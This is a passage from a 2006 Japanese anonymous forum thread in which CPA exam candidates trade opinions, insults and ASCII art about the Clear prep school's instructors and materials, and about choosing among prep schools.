ここの掲示板には救世主って書かれていますが、中村先生って、やばくないですか？
それとも、Ｎ村先生っていう、別の先生がいるのでしょうか？
管理会計論はテキストはまあまあいい出来だと思うのですが、テキスト自体も本当に
中村先生が作ったのですか？
あの講義を聞く限り、管理会計が全くわかっていないような気がします。
316:一般に公正妥当と認められた名無しさん
06/09/04 01:08:39
>>315
Ｎ村先生は西村先生っていう救世主だよ
317:一般に公正妥当と認められた名無しさん
06/09/04 20:47:00 KEAxxq+k
>>316
違うよ。
野村だよ。
318:一般に公正妥当と認められた名無しさん
06/09/04 21:14:13
>>315
Ｎ村先生が管理会計を分かっていないと感じるのは君の力不足。
センスが無いと言っても過言ではない。
Ｎ村先生は、06では答練解説のみを担当してたんだけど、
評判がよくて講義も担当することになった救世主だよ？
319:一般に公正妥当と認められた名無しさん
06/09/04 22:29:41
>>316-318
冗談がお上手でいらっしゃる…
320:一般に公正妥当と認められた名無しさん
06/09/04 23:32:54
Ｎ村先生はやめるべき？
321:一般に公正妥当と認められた名無しさん
06/09/04 23:35:49 WVrJJCVp
まじな話。
Ｎ村やばいだろ。
ここまでテキスト棒読みなんてありえない。
今からでも遅くないから、ベーシック期だけにして、アドバンス期は別の先生に
変えたほうがいいぞ。
ひどすぎる。
322:一般に公正妥当と認められた名無しさん
06/09/04 23:36:40
スタートページでＮ村先生のテキストだけ売られています・・・
323:一般に公正妥当と認められた名無しさん
06/09/05 10:24:51
工作員乙ｗ
324:一般に公正妥当と認められた名無しさん
06/09/05 10:53:21
クレアールも有名になりましたね。
325:126
06/09/05 18:43:26 50rfQ3sC
URLﾘﾝｸ(kitio12.blog14.fc2.com)
いろいろ考えましたが
やはり、働きながらですが、公認会計士の勉強を続けることにします。
合格率30パーセントの試験に落ちると、さすがに凹みました。
次回からは、短答合格者は短答式試験受験しないので、チャンスですしね。
合格するまで、頑張ります。
【2006.09.03】 勉強の軌跡（独り言） // TRACKBACK(0) // COMMENT(3)
| BLOG TOP | 撃沈 ≫
THANKS FOR YOUR COMMENTS
いつも見させてもらってます。
頑張って下さい!!自分は今受験生で会計学科目指して
ます。頑張れば出来るとこを見して下さい!!
【09.03】 URL // 六形 #- [編集] [▲]
これからも合格にむけて頑張ってください！
僕は今シドニーの大学で会計を専攻しています。自分
も将来日本の会計士かオーストラリアの会計士を取得
するかで今迷っているところです。kitioさんのブログは
とても参考になっていますのでこれからも
ブログ更新してくださいね！楽しみにしてます！
【09.03】 URL // Nori #- [編集] [▲]
一日、どれくらいの時間、勉強していましたか？
もし、主な敗因がわかれば教えてください。
【09.05】 URL // 中村 #- [編集] [▲]
326:一般に公正妥当と認められた名無しさん
06/09/05 19:03:18
4年もがんばってクレアールに通ったのに・・・
短答にも合格できない予備校。それがクレアール
URLﾘﾝｸ(kitio12.blog14.fc2.com)
kitio
kitio
kitio
kitio
kitio
kitio
kitio
kitio
kitio
327:一般に公正妥当と認められた名無しさん
06/09/05 19:05:49
工作員乙レス阻止
328:一般に公正妥当と認められた名無しさん
06/09/05 19:09:53
>>327
Ｎ村乙
329:一般に公正妥当と認められた名無しさん
06/09/05 20:25:51
>>326
お前最低だ
人として最低だ
330:一般に公正妥当と認められた名無しさん
06/09/05 22:14:44
クレラップ
331:一般に公正妥当と認められた名無しさん
06/09/05 23:52:51
工作員乙ｗ
332:一般に公正妥当と認められた名無しさん
06/09/06 00:26:38
>>329
326だが、今は反省している。
333:一般に公正妥当と認められた名無しさん
06/09/06 01:57:26 VSH+kki8
クレの上級って理論科目は初学者対象？
334:一般に公正妥当と認められた名無しさん
06/09/06 02:10:42 8BugJjb+
そーだよ。簿記と管理会計以外は。
1年でそれ以外の科目を仕上げようとしているから、結構ハード。
335:一般に公正妥当と認められた名無しさん
06/09/06 02:16:01
kitioの逆予言
URLﾘﾝｸ(kitio12.blog14.fc2.com)
財務会計・管理会計の勉強法(計算）
勉強方法
１財務会計
同じ問題を繰り返し何度も解く。答えの数字を暗記して
しまうぐらい、最低５回は解く。
薄く広く勉強し、連結は厚く勉強する。具体的には、帳
簿は二重金額控除のみおさえ、製造業・本社工場は税
理士論点なので、やらない。
336:一般に公正妥当と認められた名無しさん
06/09/06 02:16:29
>>333
クレの講義には初学者対象とかベテ対象とかそういう概念は存在しない
基本的に初学者でもベテでも基本、応用、直前の講義を全部受けることになる
337:一般に公正妥当と認められた名無しさん
06/09/06 02:25:40
kitioさんは本来トップ合格の人だよね・・・今年は事故があったとしか思えない。
勉強法もかなり参考にさせてもらったし・・・どれも受験生に有用なものばかり提示してくれてる。
できればまたブログ再開して、情報を提供してほしいな。来年は絶対に間違いなくトップ合格できますよ！
338:一般に公正妥当と認められた名無しさん
06/09/06 03:18:33
kitioとかいうヤツには会計士試験は情報戦だということだけ言っておく
339:一般に公正妥当と認められた名無しさん
06/09/06 03:30:50
マジレスすると、kitioは平均３～５時間くらいしか勉強していないから落ちたのだと思う。
340:333
06/09/06 03:45:30 aPxTYhQ6
ありがとうございます。
んじゃ初学者対象の上級部分＝受験経験者の上級なんですか？
341:一般に公正妥当と認められた名無しさん
06/09/06 04:12:04
簡単にいうとそうなる。以下参考に（個人的な感想は省かせてもらう）
財表→基本期は損益会計とか資産会計とか。応用期は会計基準を中心に、年度によっては純会計理論もやる。直前期はトピックな論点
監査→応用期と内容かぶってるから基本期はいらない。応用期のみやればいい
企業法→基本期は応用期へのステップ的な扱い。ただ一部基本期でしかやらない論点もあるから応用期だけでいいとは言い切れない
経営→管理は、基本期は藤原作成テキストで経営学の基本的な論点をつぶし、応用期と直前期は試験委員の著書を抜粋したテキストを読む。
財務は基本期ないし応用期で全体をやって直前期ででそうなとこをやる
こんな感じでカリキュラムが組まれてる。講義は初学者も受験経験者も同じものを受ける。大原とかTACみたいに講座がたくさんあるわけではない
書いてて気付いたが一度でも受験したことがあるなら財表以外は基本期とらなくてもいいのかもしれん
342:一般に公正妥当と認められた名無しさん
06/09/06 04:16:32
>>341
個人的な感想も聞きたいよ
343:333
06/09/06 04:25:56 aPxTYhQ6
>341
いやいやどうもです。
自分初学者で、クレは計算良くないって聞いたんで、計算は別のとこで勉強
しようかな、と思っていたので。
でも理論五科目のために初学者用のクレの会計士講座に申し込むのも
もったいないかな、と。
じゃあ初学者でも上級対象の理論五科目パックでいいんだ。
344:一般に公正妥当と認められた名無しさん
06/09/06 05:00:04
>>342
特定されそうで怖いが感想らしきものを書いとく
財表→今年に関していえばどこの予備校でも結果は同じようなもん。講義自体は引きこまれるものがあっていいと思うが、答練が最近怪しくなってる気がする
監査→文句なし
企業法→文句なし
経営→管理は最悪。何が大事なのかさっぱりわからん。財務は量が多いが特に言うことはない
>>343
管理会計は絶対違うところで受けるべきだが簿記に関してはクレでも問題はないと思う
あと俺が書いてるのは去年まで（今年の論文用）のことだから詳しくはクレにいってテキストの閲覧でもした方がいいかも
345:一般に公正妥当と認められた名無しさん
06/09/06 11:32:00
>>337
今年の短答は、本来トップ合格の人が落ちるような試験ではなかったよ。
346:一般に公正妥当と認められた名無しさん
06/09/06 13:44:32
>>345
てめえに何がわかる
347:一般に公正妥当と認められた名無しさん
06/09/06 13:57:26
阻止
348:一般に公正妥当と認められた名無しさん
06/09/06 18:02:40
>>344
ありがとうです。
管理会計はやっぱり講師がやばいですか？Ｙ井→Ｎ村の継投は、
Ｙ井の敗戦処理をＮ村が引き継いでいるように思います。
講義はもうあきらめていますが、テキスト、問題集もやばいですか？
Ｙ井の時から今のＮ村でテキスト、問題集ともにほとんど変わっていないですよね。
クレアールの管理会計論は問題集に簿記２級レベルの問題が含まれているのですが、
本当にこんなので大丈夫？もし、クレアールのみで大丈夫なら、安井、中村は神ですよね。
まさに非常識合格法。
349:一般に公正妥当と認められた名無しさん
06/09/06 20:34:19
>>348
テキスト自体はそんなにも悪くないかも。多少わかりにく面はあるけど
理解している人が読めば書くべきことはちゃんと書いてあるってことがわかる
問題集は最近の本試験の出題傾向をみると計算が簡単になってきてるからあれくらいでもなんとかなるかも
ただ本試験では短答でも論文でも原価計算基準とか管理会計とかの理解が問われることになるからテキスト・問題集の丸暗記だけでは対応できない
この点でクレの管理会計はいただけない
350:一般に公正妥当と認められた名無しさん
06/09/06 23:52:01
＞ 理解している人が読めば書くべきことはちゃんと書いてあるってことがわかる
おいおい、理解してない人が読んでもわからないテキストっていったいｗ
351:一般に公正妥当と認められた名無しさん
06/09/07 00:08:16
>>349
あーでも、言われてみたら確かにそんな感じですね。
管理会計はまだ始まってないからわからないけど、原価計算は的を射ているように思います。
もやもやしていたのがすっきりした。ありがとうございました。
>>350
だって、原価計算基準をそのまま掲載して、説明がなかったりするんだもん。
352:333
06/09/07 00:13:17 t7LTc4Mu
よくクレの理論テキストじゃ、網羅性が低く短答試験に対応できないっていう意見を
聞くけど、どう？
353:一般に公正妥当と認められた名無しさん
06/09/07 00:57:24
>>352
短答前にはクレの管理会計を切って他のとこので勉強してたからなんともいいにくいけど･･･
今年の短答に関してはクレだけでも対応できないことはないと思う
計算はそんなに難しくないし、理論は肢をよく読めば正誤判別がつくような問題も多かったからね
でもこの傾向が来年以降も続くかはわからないからクレの管理会計で理解できないようなら他校の管理会計をとることをオススメする
ちなみにLEC池辺はわかりやすい。そろそろ工作員乙とか言われそうだな＾＾；
354:一般に公正妥当と認められた名無しさん
06/09/07 01:19:40
阻止
355:一般に公正妥当と認められた名無しさん
06/09/07 01:29:31
LEC池辺は確かにいい先生だが、初学者が受講したら正直マイナス。
クレで１.5年、一発合格を目指すなら取るべきではない。
クレの管理会計は池辺の３分の１くらいの時間で終わる。良くも悪くもだが。
池辺は網羅性を重視しているから、分量が多い。クレとは目的が違う。池辺はベテ向き。
>>352
逆に短答はいけると思う。'06からは理論対策もするようになっているから。
論文がどうなるかだ。今年は対応できるレベルだが、来年はどうなるかわからない。
おそらく、アカスクの関係で極端に難化することはないだろうけど。
クレは答練では本試験レベル以上のことは出題してこないからね。こっちも良くも悪くも。
クレの管理会計のテキスト及び問題集はそんなに悪くはないと思う。Ｎ村は最悪だが。
講義を聞かないで受験もありだと思う。
356:一般に公正妥当と認められた名無しさん
06/09/07 01:48:41
工作員乙ｗ
スタッフ乙ｗ
357:一般に公正妥当と認められた名無しさん
06/09/07 01:59:44
>>356
中村乙
358:一般に公正妥当と認められた名無しさん
06/09/07 16:02:22
今年は合格体験記出せるといいですね！
2004は調子にのりすぎて分厚い合格体験記出てたけど、2005は出てなかったね
359:一般に公正妥当と認められた名無しさん
06/09/07 17:19:14
AXLは5人くらいしか載ってない薄い合格体験記出してたが
クレアールもその辺見習ってもらいたいな。
360:一般に公正妥当と認められた名無しさん
06/09/07 23:41:00 f5ORMWX6
今日の財表は･･････いつも通りだった
361:一般に公正妥当と認められた名無しさん
06/09/08 03:55:50 tEm+2F99
>>355を信じてもいいですか？
Ｎ村先生・・・
362:一般に公正妥当と認められた名無しさん
06/09/08 05:15:32
まぁ>>353を信じるか>>355を信じるかは各自の自由だ
俺はクレの管理会計では合格最低点は確保できるかもしれないけど
アドバンテージを獲得することはできないと思ったから他校の管理会計をとったということ
講師は他にもいるんだから池辺に固執する必要もないしね
363:一般に公正妥当と認められた名無しさん
06/09/08 09:42:45 VST1RU9u
未だにクレアールに通ってる奴いるんだなｗ
こんな糞予備校消えてほしいよ、社員はやりたい放題だし。
講師は糞だし、教材はもう終わってるし、値段は安くない。
364:一般に公正妥当と認められた名無しさん
06/09/08 09:54:30
納豆とその取り巻きの珍言集
＊原価とコストについては前スレ>>816>>817参照のこと
納豆編（本スレの>>2）
・原価は材料から製品を作った値段の事だよ。
それに仕入れの交通費や人件費、
要は作る上で掛かる労力は費用全てを加えたのがコストだよ。
・原価とコストの違いは少し勉強すれば君なら分かるだろうし
取り巻き編（本スレの>>3）
・コストと原価が同じ意味で使われてるとか頭悪すぎ不細工すぎｗｗｗｗｗｗｗｗｗｗｗｗｗ
・人件費や交通費は製造原価に含まれるが、原価には含まれないぞ。
・ググルだけじゃなくちゃんと勉強してこいよ、ホント恥ずかしいぞ。
・製造原価も原価に含まれるとかマジで言ってんの？
・原価に+αされたものが製造原価って分からないのか
・・・この人たちに何か言って上げてください
ｽﾚﾘﾝｸ(fashion板)
365:一般に公正妥当と認められた名無しさん
06/09/08 10:02:48
受付の女と話してばかりしてる受講生が多い予備校において
合格者がたくさん出るわけ無いわな
もう時間の問題だろ
366:一般に公正妥当と認められた名無しさん
06/09/08 12:34:19
工作員乙ｗ
367:一般に公正妥当と認められた名無しさん
06/09/08 13:08:03
この学校選んでる時点で、不合格決定
368:一般に公正妥当と認められた名無しさん
06/09/08 13:16:24
>>367
具体的な根拠ぐらい示せよ。
他の専門と違う戦略「非常識合格法」で楽だと勘違いして入学して、
学習範囲は限定されるが、相当程度の暗記の精度が要求されたんで逃げ出したとか
そういうんじゃないのか？
369:一般に公正妥当と認められた名無しさん
06/09/08 13:46:15
>>368
要は367の頭が悪いと言うことだろ。
370:age
06/09/08 16:07:21 of5tPxAU
キムラどこに行ったの
371:一般に公正妥当と認められた名無しさん
06/09/09 12:49:59
イガ塾まだ募集してますか？
372:一般に公正妥当と認められた名無しさん
06/09/09 17:56:47
イガ塾なんて入ろうとするヤツいるのか？
373:一般に公正妥当と認められた名無しさん
06/09/09 21:20:12 IJ2pA1Oc
公認会計士目指す奴ってやっぱ普通と違うぜ。
俺なんて普通のサラリーマンだが、高校の時の同級生で、トップレベルの頭のいい奴に久しぶりにゲーセンで会った。
俺は高卒、そいつは東京の大学へ行って以来会ってなかったが、そいつ今は無職だが３１歳にして公認会計士目指してるって言ってた。
やっぱ頭のいい奴は狙うところが違うなと実感した。
営業の合間に行くとゲーセンでしょっちゅうそいつがバーチャファイターやってるのを見かけるが、勉強の息抜きなんだろうなと思う。
ほぼ毎日、朝でも夜でもいるんでよっぽどストレス溜まってるんだろうな。
しかしそれでもあいつはいつかきっと合格してすごい奴になるんだと思う。
俺は応援していたが、いつしかそのゲームセンターの店員の制服を着ていた。
そうか。流石に親のスネはいつまでもかじってられないからなと感心した。
休みの日に嫁と子供とそのゲーセンへ遊びに行ったら、そいつが一生懸命灰皿の掃除をしていた。
声を掛けてしばらく話をしていたら、そいつは急に泣き崩れた。
原因はよく分からなかったが、頭のいい奴にも悩みはいろいろあるんだろうと思う。
俺からしてみれば将来の大きな夢があって、頭もよくて羨ましい限りなんだが。
凡人の俺には真似のできないあいつの生き方を俺は密かに応援する。
374:一般に公正妥当と認められた名無しさん
06/09/09 21:53:34 sHb0C3sf
>>373
あーあ
375:一般に公正妥当と認められた名無しさん
06/09/09 22:49:43
なんか、スタペでくれ検討してる奴に答えてる奴も、メリットばかり強調するんじゃなくて
デメリットもちゃんといってやんないとだめじゃないか。
予備校選択という重大な意思決定なのに。
376:一般に公正妥当と認められた名無しさん
06/09/09 22:53:30
>>375
たぶん、不合格に追い込むためにクレに入れようとしているのだと思う。
377:一般に公正妥当と認められた名無しさん
06/09/09 23:06:05
>>375
本当のことを投稿しておいた。
Re: 無題 投稿者：中村健一郎 ID：plmzk - 2006/09/09(Sat) 23:01 No.39905
クレのテキストが薄いのは論点が少ないことと、
解説を省略しているからです。
他校のテキストのように冗長な説明は無駄だというのが、
クレアールの考え方です。新しいでしょ？
講義を聞き逃すと理解不能になります。
まぐれで一発合格、もしくは１０年かけても不合格
といったように、バクチ好きならクレアールがベストです。。
378:一般に公正妥当と認められた名無しさん
06/09/10 02:34:45
工作員乙ｗ
379:一般に公正妥当と認められた名無しさん
06/09/10 10:43:06
スタッフ乙ｗ
380:一般に公正妥当と認められた名無しさん
06/09/11 17:37:05 u9O7MsBA
クレかよったことある友人がみな、二年目は他校にいくのはなぜですか?
381:一般に公正妥当と認められた名無しさん
06/09/11 18:48:16
バカ工作員乙ｗ
382:一般に公正妥当と認められた名無しさん
06/09/11 19:37:40 7cXOdZ+l
>>380
そいつらは全員バクチに負けたのさ
383:一般に公正妥当と認められた名無しさん
06/09/11 23:18:38
負け犬の遠吠えってやつですよ
この負け犬どもが
384:一般に公正妥当と認められた名無しさん
06/09/11 23:29:12
阻止
385:一般に公正妥当と認められた名無しさん
06/09/11 23:50:50
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
386:一般に公正妥当と認められた名無しさん
06/09/11 23:57:59 N+gDq5MK
工作員乙ｗ
387:一般に公正妥当と認められた名無しさん
06/09/12 01:23:39
スタッフ乙ｗ
388:一般に公正妥当と認められた名無しさん
06/09/12 01:38:03 usmyjxoB
工作員乙ｗ
389:一般に公正妥当と認められた名無しさん
06/09/12 02:54:54
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
390:一般に公正妥当と認められた名無しさん
06/09/12 03:04:30
またつまらん流れになってるな
391:一般に公正妥当と認められた名無しさん
06/09/12 04:29:12 NbDDS/NC
ホントだな
煽りするまえに勉強しろ
俺は今までやってこれから寝る
392:一般に公正妥当と認められた名無しさん
06/09/12 10:18:24 UdTt8bVK
できないのはどこでも無理ぼ
393:一般に公正妥当と認められた名無しさん
06/09/12 11:38:08
クレが他校より優れてるのは、寮があることくらい
394:一般に公正妥当と認められた名無しさん
06/09/12 12:02:04
工作員乙ｗ
395:一般に公正妥当と認められた名無しさん
06/09/12 12:37:36
スタッフ乙ｗ
396:一般に公正妥当と認められた名無しさん
06/09/12 16:32:19 CbJou0Wt
理論をクレで取ろうと思っているのですが、
租税法は他校と比べて優れてますか？
クレ生の租税法は今年の論文試験では十分戦えたでしょうか？
397:一般に公正妥当と認められた名無しさん
06/09/12 16:40:33
>>396
ここで聞いても参考にならんと思うが
398:一般に公正妥当と認められた名無しさん
06/09/12 18:23:48
>>396
そんなのより、管理会計論の中村神の講義を受けろ。
399:一般に公正妥当と認められた名無しさん
06/09/12 18:24:28
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
400:一般に公正妥当と認められた名無しさん
06/09/12 18:44:45
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} < 中村！400！ ＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
401:一般に公正妥当と認められた名無しさん
06/09/12 18:51:50 J2Ovnuqw
なんか中村、中村と書かれているけど。
中村、本当に駄目だわ。
相変わらず講義は棒読み。難しいところはわざとかどうか知らんが説明を飛ばすし。
講義を聞く意味がない。
おれはいけべ教に入信することにしたよ。
2006の教材を見たけど、中村とは格が違うな。
402:一般に公正妥当と認められた名無しさん
06/09/12 20:19:43
イケヴェにするなら、既に講義始まってるから
早めに申し込んだ方がいい
403:一般に公正妥当と認められた名無しさん
06/09/12 20:32:05
ホリえもん抜けたらここ一年で潰れるね
404:一般に公正妥当と認められた名無しさん
06/09/12 22:34:56 J2Ovnuqw
>>403
ホリエモン以外もそんなに悪いわけではない。
TACの平均レベル以上の講師はそろっている。
ただ、中村が・・・
安井もひどかったが、この流れはなんだ？クレアールは何を考えている？
405:一般に公正妥当と認められた名無しさん
06/09/12 23:14:25
簿記も悪くないか？
経営は？
406:一般に公正妥当と認められた名無しさん
06/09/12 23:57:52
簿記森山は悪くはないと思う。
教える気はすごくあるから。
そもそも、非常識合格法を実践する気があまりないようだ。
基本的に他校と比べて論点が少なめという程度。あまり変わらん。
独自の世界を築いている。タイムテーブルは使わないしな。
経営は知らん。
あとは財表の石井だが、人によって好みが分かれる。
暗記偏重をもう少し考え直したら、いい講師なのだが。
講義自体はわかりやすい。
407:ひよこあげ
06/09/13 01:26:41
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
408:一般に公正妥当と認められた名無しさん
06/09/13 04:59:17
>>406
確かに、石井先生は講義は分かり易いね。
試験の傾向に対応して、非常識合格法にこだわらない講義を展開してくれれば
かなり良くなると思うんだが･･･。
409:一般に公正妥当と認められた名無しさん
06/09/13 09:04:38 lDfbkDnB
俺はほかも受けてたがクレ講師は標準以上だよ
410:一般に公正妥当と認められた名無しさん
06/09/13 10:48:18
スタッフ必死だな
ここの講師どう考えても標準以下だろ
体験講義うけてみろ
411:一般に公正妥当と認められた名無しさん
06/09/13 11:51:38
そうだね。体験講義を受ければそのすばらしさがわかるからね。
412:一般に公正妥当と認められた名無しさん
06/09/13 12:22:59 e1bfA1QI
経営は微妙だったな。なんか授業が単調だから、聞いてても理解してるのか分からなくなる。そういう意味じゃ石井は良いと思う。
413:一般に公正妥当と認められた名無しさん
06/09/13 18:27:26
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ>>410が！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
414:333
06/09/13 20:32:22 vEnBW8qY
そんなに良くないんですか。中村氏。
計算だけ他校で受けるのも会計学とか
カリキュラム上めんんどくさいしなあ。
415:一般に公正妥当と認められた名無しさん
06/09/13 22:45:09 ex6sUzmU
中村は何が悪いかっていると、初年度だからっていうのもある。
まだ合格実績が一人もいないからね。仕方ないかも。
量的には他校の半分くらいで済むから、もしこれで受かるなら、
中村は神になるかもしれない。
でもな・・・
中村は講義がテキスト棒読みなんだよ。
安井は棒読みではなかったんだよ。（何を言っているか、理解不能だったけどな。）
中村はうさんくさいんだよ。
雑談が異常に多いんだよ。
問題集が簿記２級レベルだったりするんだよ。
講義を聞く意味がないんだよ。
男前なのに笑顔がきもいんだよ。
というわけで、クレアールは理論科目だけにしておいて、
会計学は他校で取るのをすすめる。
具体的には簿記、財表はアクセル。管理会計論はＬＥＣだな。
クレの簿記、財表は悪くはないんだが、人によって好みがわかれる。（ＴＡＣよりは絶対にいいが）
416:333
06/09/13 23:58:33 CF98qW60
堀江さんいなくなったら監査もアクセルがベストですかね。
ていうか堀江さんいなくなるんでしょうか。
417:一般に公正妥当と認められた名無しさん
06/09/14 02:29:34
>>333
森山のことならいくらでも教えてやるぞ
418:一般に公正妥当と認められた名無しさん
06/09/14 23:07:26 l7/p8p+v
連結の教え方はやっぱり悪いんですか
419:一般に公正妥当と認められた名無しさん
06/09/14 23:52:59
>>333
森山のブログならいくらでも教えてやるぞ
420:一般に公正妥当と認められた名無しさん
06/09/15 03:45:39
>>418
２通りに分かれる。絶賛する人。もしくは悪くはないがなんだか微妙という人。
教え方が独特だから。
タイムテーブルは使わない。
本質を理解したいなら、森山
421:一般に公正妥当と認められた名無しさん
06/09/15 13:14:45
タイムテーブル使うのは姑息だもんな
422:一般に公正妥当と認められた名無しさん
06/09/15 16:57:15
クレの宣伝は詐欺だよな
423:一般に公正妥当と認められた名無しさん
06/09/15 18:12:14
工作員乙ｗ
424:一般に公正妥当と認められた名無しさん
06/09/15 20:08:27
スタッフ乙ｗ
425:一般に公正妥当と認められた名無しさん
06/09/15 20:10:17
合格体験記ボロクソに書いてやりてぇ
誰か匿名で本に載せられるとこ知らない？
426:一般に公正妥当と認められた名無しさん
06/09/16 02:15:33
そこまでいうなら実名で書くべきだろ。
427:一般に公正妥当と認められた名無しさん
06/09/16 23:17:01
同志社前校の機知外ども（社員 受講生 バイトなど）はどうなった？
428:一般に公正妥当と認められた名無しさん
06/09/17 19:04:26
企業法の石井先生がピンマイクに変わった・・・
声の変動が小さくなって、聞き取りやすくなった。
改善したことは評価できる。
元々の講義の内容は良いのだが、その点で損をしていた。
429:一般に公正妥当と認められた名無しさん
06/09/17 23:19:27
N村氏って東大卒でしかも一発合格者じゃなかったっけ？
ヒラリンにも同じこと言えるけどそんな優秀な先生じゃあアホ私大生のレベル理解できないよ。
多数回受験で苦労したＫの上先生や二流私大出身のＬのベーさんあたりが凡人の苦労を理解できているのでは？
Ｎ村氏は五万しか授業料払わんですむ東大生には受けがいいと聞いた。
要するに天才向け！
430:一般に公正妥当と認められた名無しさん
06/09/17 23:31:19
俺達は毎年20万近くお布施納めて
地面はいつくばって頑張ってんだ
本当に偏見だ差別だ
ふざけんなカネカエセ
431:一般に公正妥当と認められた名無しさん
06/09/18 00:04:04
Kの上先生ってﾀﾞﾚﾎﾟ?
432:一般に公正妥当と認められた名無しさん
06/09/18 00:12:59
>>431
元会計士講座簿記担当講師
現在税理士講座カリスマ講師
433:一般に公正妥当と認められた名無しさん
06/09/18 00:40:08
今日のヤツの新会社法は意味があったのだろうか･･････
434:一般に公正妥当と認められた名無しさん
06/09/18 00:58:10
>>429
おいおいおいおいおい。
お前、中村の授業を聞いたことがないだろ？
テキストに書いていることをそのまましゃべるだけだぞ。
言ってることはわかるよ。簿記１級レベルのことしかしゃべらないからね。
授業は、いつもあたふたおびえているし、あきらかにプレゼンなれしていない。
１回目は失敗したことを自覚したのか、２回目には板書する内容を事前に全部ノート
に書いてきていた。
でも、根本的にしゃべるのが下手だから多少改善された程度。
はっきりいって、ただの準備不足。
どちらにしても、簿記と管理会計なんて、そもそも講義を聞く必要がないと思うからどうでもいいんだけどな。
でも、問題集が簿記１級よりも簡単だから、困ったもんなんだ。
そもそも、東大生のshunnがクレ安井の講義とテキストを２流と批判していたが、
中村は辞めた安井のノウハウをただ流用しているだけなんだがな。
去年とテキストは同じらしいし。
435:一般に公正妥当と認められた名無しさん
06/09/18 09:48:42 pg/7nqSI
クレアールっておもしろい講師が揃ってるんですね
436:一般に公正妥当と認められた名無しさん
06/09/18 10:27:52 RbiDHO5/
渋谷校いってるけど、講義の内容云々の前にＤＶＤ視聴室が暑すぎて
勉強できん・・・
437:一般に公正妥当と認められた名無しさん
06/09/18 23:08:20 ZZ3xqpOq
>>435
N村が神すぎるだけ・・・
438:一般に公正妥当と認められた名無しさん
06/09/19 00:27:56
434は、水道橋ライブの受講生だな。
彼の言っていることからするとＮ村は、スタッフと違い少しでも授業を改善しようとする努力があるだけまだましか。
ま、おれは管理は他校の受けるからどうでもいいが
439:一般に公正妥当と認められた名無しさん
06/09/19 20:57:34
Ｎ村は確かに改善はしようと努力している。
駄目なりにがんばっているよな。安井と同じだ。
440:一般に公正妥当と認められた名無しさん
06/09/20 23:12:33 andOdd5s
石井(弟)は良い教師だ～!!
441:一般に公正妥当と認められた名無しさん
06/09/22 21:35:38
2ちゃんが閉鎖になりそう
URLﾘﾝｸ(www.zakzak.co.jp)
お前ら今のうちに言いたいこと言っとけ
442:一般に公正妥当と認められた名無しさん
06/09/22 21:36:38 Jb108xKw
揚げマン☆
443:一般に公正妥当と認められた名無しさん
06/09/23 21:00:55 5z5PSB/Y
去年運良く受かったが、去年の結果発表の後は、最悪だった。噂によれば、旧
試験制度最後の年で合格者は増えるだろうと予備校も、論文受験者もそう思っ
ていた。だが、予想に反して、合格者は減った。楽観視していた者は、泣き崩
れ、過呼吸で発作を起こした女性が救急車で搬送されるわで発表所は大変だっ
た。今年の合格者数は、どうか？。私は厳しい状況になるのではないかと思っ
ている。理由は、③つ。①つ目は、会社法改正の影響が、他の科目に与えてい
ない最後の年に合格者を多く出すとは思えない。05は、旧商法から会社法に変
わる最後の年だった為、旧知識を多く持つ合格者を大量に出しても意味がない
